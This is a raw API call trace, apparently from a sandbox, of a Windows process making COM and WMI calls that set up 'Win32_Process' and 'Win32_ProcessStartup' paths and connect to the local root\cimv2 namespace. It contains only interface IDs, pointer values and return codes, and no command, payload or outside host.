[0126.114] WbemDefPath:IWbemPath:GetText (in: This=0x1a980150, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0126.114] WbemDefPath:IWbemPath:GetText (in: This=0x1a980150, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0126.114] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980150, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0126.114] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980150, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0126.114] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980150, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0126.114] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0126.114] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0126.114] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0126.114] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.116] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1a9db770) returned 0x0 [0126.116] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9db770, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0126.116] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9db770, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1a980210) returned 0x0 [0126.117] WbemDefPath:IUnknown:Release (This=0x1a9db770) returned 0x0 [0126.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980210, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1a980210) returned 0x0 [0126.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980210, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0126.117] WbemDefPath:IUnknown:AddRef (This=0x1a980210) returned 0x3 [0126.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980210, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0126.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980210, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0126.117] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980210, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1a9db7b0) returned 0x0 [0126.117] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9db7b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.117] WbemDefPath:IUnknown:Release (This=0x1a9db7b0) returned 0x3 [0126.117] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0126.118] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0126.118] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980210, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0126.118] WbemDefPath:IUnknown:Release (This=0x1a980210) returned 0x2 [0126.118] WbemDefPath:IUnknown:Release (This=0x1a980210) returned 0x1 [0126.118] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0126.118] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0126.118] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980210, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1a980210) returned 0x0 [0126.118] WbemDefPath:IUnknown:AddRef (This=0x1a980210) returned 0x3 [0126.118] WbemDefPath:IUnknown:Release (This=0x1a980210) returned 0x2 [0126.118] WbemDefPath:IWbemPath:SetText (This=0x1a980210, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0126.118] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980210, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0126.118] WbemDefPath:IWbemPath:GetText (in: This=0x1a980210, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0126.118] WbemDefPath:IWbemPath:GetText (in: This=0x1a980210, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0126.118] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980210, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0126.118] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980210, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0126.118] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980210, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0126.119] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980210, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0126.119] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0126.119] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0126.119] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.119] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0126.119] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0126.119] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0126.119] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.121] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1a9db7f0) returned 0x0 [0126.121] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9db7f0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0126.121] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9db7f0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1a9802d0) returned 0x0 [0126.121] WbemDefPath:IUnknown:Release (This=0x1a9db7f0) returned 0x0 [0126.121] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9802d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1a9802d0) returned 0x0 [0126.121] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9802d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0126.122] WbemDefPath:IUnknown:AddRef (This=0x1a9802d0) returned 0x3 [0126.122] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9802d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0126.122] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9802d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0126.122] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9802d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1a9db830) returned 0x0 [0126.122] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9db830, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.122] WbemDefPath:IUnknown:Release (This=0x1a9db830) returned 0x3 [0126.122] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0126.122] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0126.122] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9802d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0126.122] WbemDefPath:IUnknown:Release (This=0x1a9802d0) returned 0x2 [0126.122] WbemDefPath:IUnknown:Release (This=0x1a9802d0) returned 0x1 [0126.122] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0126.122] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0126.122] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9802d0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1a9802d0) returned 0x0 [0126.122] WbemDefPath:IUnknown:AddRef (This=0x1a9802d0) returned 0x3 [0126.122] WbemDefPath:IUnknown:Release (This=0x1a9802d0) returned 0x2 [0126.122] WbemDefPath:IWbemPath:SetText (This=0x1a9802d0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0126.123] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a9802d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0126.123] WbemDefPath:IWbemPath:GetText (in: This=0x1a9802d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0126.123] WbemDefPath:IWbemPath:GetText (in: This=0x1a9802d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.123] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0126.123] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0126.123] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0126.123] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.124] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1a9ec530) returned 0x0 [0126.124] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec530, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0126.124] WbemLocator:IClassFactory:CreateInstance (in: This=0x1a9ec530, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1a9ec550) returned 0x0 [0126.124] WbemLocator:IUnknown:Release (This=0x1a9ec530) returned 0x0 [0126.124] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec550, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1a9ec550) returned 0x0 [0126.124] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec550, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0126.125] WbemLocator:IUnknown:AddRef (This=0x1a9ec550) returned 0x3 [0126.125] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec550, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0126.125] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec550, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0126.125] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec550, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0126.125] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0126.125] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0126.125] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec550, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0126.125] WbemLocator:IUnknown:Release (This=0x1a9ec550) returned 0x2 [0126.125] WbemLocator:IUnknown:Release (This=0x1a9ec550) returned 0x1 [0126.125] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0126.125] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0126.125] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec550, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1a9ec550) returned 0x0 [0126.125] WbemLocator:IUnknown:AddRef (This=0x1a9ec550) returned 0x3 [0126.125] WbemLocator:IUnknown:Release (This=0x1a9ec550) returned 0x2 [0126.125] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a9802d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0126.125] WbemDefPath:IWbemPath:GetText (in: This=0x1a9802d0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0126.125] WbemDefPath:IWbemPath:GetText (in: This=0x1a9802d0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.126] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1a9ec570) returned 0x0 [0126.126] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1a9ec570, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1a9e2140) returned 0x0 [0126.555] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2140, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1a9dbcb0) returned 0x0 [0126.555] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1a9dbcb0, pProxy=0x1a9e2140, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0126.555] WbemLocator:IUnknown:Release (This=0x1a9dbcb0) returned 0x1 [0126.555] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2140, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1a9dbcf0) returned 0x0 [0126.555] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2140, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1a9dbcb0) returned 0x0 [0126.555] WbemLocator:IClientSecurity:SetBlanket (This=0x1a9dbcb0, pProxy=0x1a9e2140, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0126.555] WbemLocator:IUnknown:Release (This=0x1a9dbcb0) returned 0x2 [0126.555] WbemLocator:IUnknown:Release (This=0x1a9dbcf0) returned 0x1 [0126.555] CoTaskMemFree (pv=0x1a9d7040) [0126.555] WbemLocator:IUnknown:AddRef (This=0x1a9e2140) returned 0x2 [0126.555] WbemLocator:IUnknown:Release (This=0x1a9ec570) returned 0x0 [0126.556] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0126.556] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0126.556] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2140, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1a9dbcc0) returned 0x0 [0126.556] WbemLocator:IRpcOptions:Query (in: This=0x1a9dbcc0, pPrx=0x1a9ec5d0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0126.556] WbemLocator:IUnknown:Release (This=0x1a9dbcc0) returned 0x2 [0126.556] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0126.556] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0126.556] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2140, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1a9e2140) returned 0x0 [0126.556] WbemLocator:IUnknown:Release (This=0x1a9e2140) returned 0x2 [0126.556] SysStringLen (param_1=0x0) returned 0x0 [0126.556] 